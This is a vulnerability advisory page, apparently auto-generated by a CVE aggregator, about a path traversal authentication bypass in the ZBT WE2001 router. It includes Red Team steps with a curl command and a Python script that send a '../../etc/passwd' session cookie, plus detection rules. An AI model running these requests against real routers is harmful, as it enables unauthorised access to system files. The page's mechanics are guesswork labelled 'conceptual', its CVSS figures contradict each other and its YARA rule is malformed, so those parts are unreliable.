CVE-2025-64075
Executive Summary
CVE-2025-64075 is a critical path traversal vulnerability discovered in the check_token function of the Shenzhen Zhibotong Electronics ZBT WE2001 router, specifically in firmware version 23.09.27. This flaw allows a remote, unauthenticated attacker to bypass authentication by supplying a crafted session cookie value containing path traversal sequences (e.g., ../). Successful exploitation grants the attacker full administrative access to the device, enabling them to modify configuration, exfiltrate sensitive data, or pivot into the internal network. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is effectively critical. No official patch has been released, and the vendor has not acknowledged the issue. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue teams.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full access to device data.
- Integrity Impact: High (I:H) – Full control over device configuration.
- Availability Impact: High (A:H) – Potential to disrupt device operation.
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides complete administrative control over the affected router.
Deep Dive & Mechanics
The vulnerability resides in the check_token function, which is responsible for validating session cookies for administrative interfaces. The function fails to sanitize user-supplied cookie values, allowing path traversal sequences (e.g., ../) to escape the intended session storage directory. By crafting a cookie value such as ../../etc/passwd, an attacker can force the function to read arbitrary files on the filesystem, including configuration files containing administrative credentials or session tokens. More critically, the function may also be used to write session files, enabling the attacker to create a valid session token for an administrative user, thereby bypassing authentication entirely.
The root cause is the lack of input validation and the use of user-controlled data in file path operations without proper canonicalization. The check_token function likely concatenates the cookie value with a base directory path, e.g., /var/sessions/ + cookie_value, without checking for ../ sequences.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
def check_token(cookie_value):
session_path = "/var/sessions/" + cookie_value
if os.path.exists(session_path):
# Read session data and authenticate
...
else:
return False
Patched Code (Conceptual):
import os
def check_token(cookie_value):
# Sanitize input: remove path traversal sequences
safe_value = os.path.basename(cookie_value)
session_path = "/var/sessions/" + safe_value
if os.path.exists(session_path):
# Read session data and authenticate
...
else:
return False
The patched version uses os.path.basename() to strip any directory components, ensuring only the filename is used. Alternatively, a whitelist of allowed characters or a hash-based session identifier could be employed.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a ZBT WE2001 router with firmware version 23.09.27.
- Connect the router to a test network with a dedicated attacker machine (e.g., Kali Linux).
- Ensure the router's web interface is accessible from the attacker machine.
Exploitation Steps:
- Identify the vulnerable endpoint: The
check_tokenfunction is likely called during authentication. Use a web proxy (e.g., Burp Suite) to intercept a login request and observe the cookie parameter. - Craft the malicious cookie: Replace the session cookie value with a path traversal payload. For example:
Cookie: session=../../etc/passwd - Send the request: Use
curlor a script to send the request to the login endpoint.curl -v -b "session=../../etc/passwd" http://<router_ip>/login - Observe the response: If successful, the response will contain the contents of
/etc/passwd, confirming the vulnerability. - Escalate to admin access: To gain administrative access, craft a cookie that points to an existing admin session file or create a new one. For example, if admin sessions are stored in
/var/sessions/admin_<hash>, use:
Alternatively, if the function allows writing, upload a crafted session file via another vulnerability.Cookie=session=../sessions/admin_known_hash
Automated Exploit (Python):
import requests
target = "http://<router_ip>/login"
payload = "../../etc/passwd"
cookies = {"session": payload}
response = requests.get(target, cookies=cookies)
print(response.text)
Blue Team
Detection & Response:
- Monitor for anomalous cookie values: Look for cookies containing
../,..\\, or other path traversal sequences in web server logs. - Implement input validation: Ensure all user-supplied data, especially cookies, is sanitized before use in file operations.
- Use a Web Application Firewall (WAF): Deploy rules to block requests with path traversal patterns in cookies.
- Network segmentation: Isolate affected devices from critical internal networks.
- Firmware updates: Monitor for patches from Shenzhen Zhibotong Electronics and apply immediately.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with cookie values containing
../or..\\sequences. - Unusual file reads (e.g.,
/etc/passwd,/etc/shadow) in web server logs. - Connections from unknown IPs to the router's web interface (port 80/443).
- HTTP requests with cookie values containing
Host IOCs:
- Presence of unexpected files in the session storage directory (e.g.,
/var/sessions/). - Modified configuration files indicating unauthorized administrative changes.
- New user accounts or SSH keys added to the device.
- Presence of unexpected files in the session storage directory (e.g.,
File IOCs:
- Session files with names that do not match the expected format (e.g., containing path traversal characters).
Detection Engineering
YARA Rule
rule CVE_2025_64075_Path_Traversal {
meta:
description = "Detects path traversal attempts in session cookie values targeting ZBT WE2001"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64075"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e/"
condition:
any of ($traversal*) and
// Look for cookie header with session parameter
for any of ($traversal*) : ( #filepath contains $traversal* )
}
Sigma Rule
title: CVE-2025-64075 Path Traversal in Session Cookie
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal sequences in session cookies targeting ZBT WE2001 routers.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64075
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "../"
- "..\\"
- "%2e%2e%2f"
- "%2e%2e/"
cs-cookie|contains: "session"
condition: selection
falsepositives:
- Legitimate use of path traversal in other contexts (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64075 Path Traversal in Session Cookie"; flow:to_server; content:"session"; http_cookie; content:"../"; http_cookie; distance:0; sid:1000001; rev:1; reference:cve,2025-64075;)
Remediation & Mitigation
Immediate Actions:
- Disable remote administration: If not required, disable the web interface on the WAN side.
- Restrict access: Use firewall rules to allow only trusted IPs to access the router's management interface.
- Apply vendor patch: Monitor Shenzhen Zhibotong Electronics for a firmware update. If none is available, consider replacing the device.
Long-term Fixes:
- Input validation: Sanitize all user-supplied data, especially cookies, using functions like
os.path.basename()or a whitelist of allowed characters. - Use secure session handling: Implement session tokens as random, non-predictable values stored in a database or secure file system, avoiding direct file path construction.
- Regular security audits: Conduct code reviews and penetration testing on embedded devices.
Workaround:
- Implement a reverse proxy (e.g., Nginx) in front of the router to filter malicious cookie values before they reach the device.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.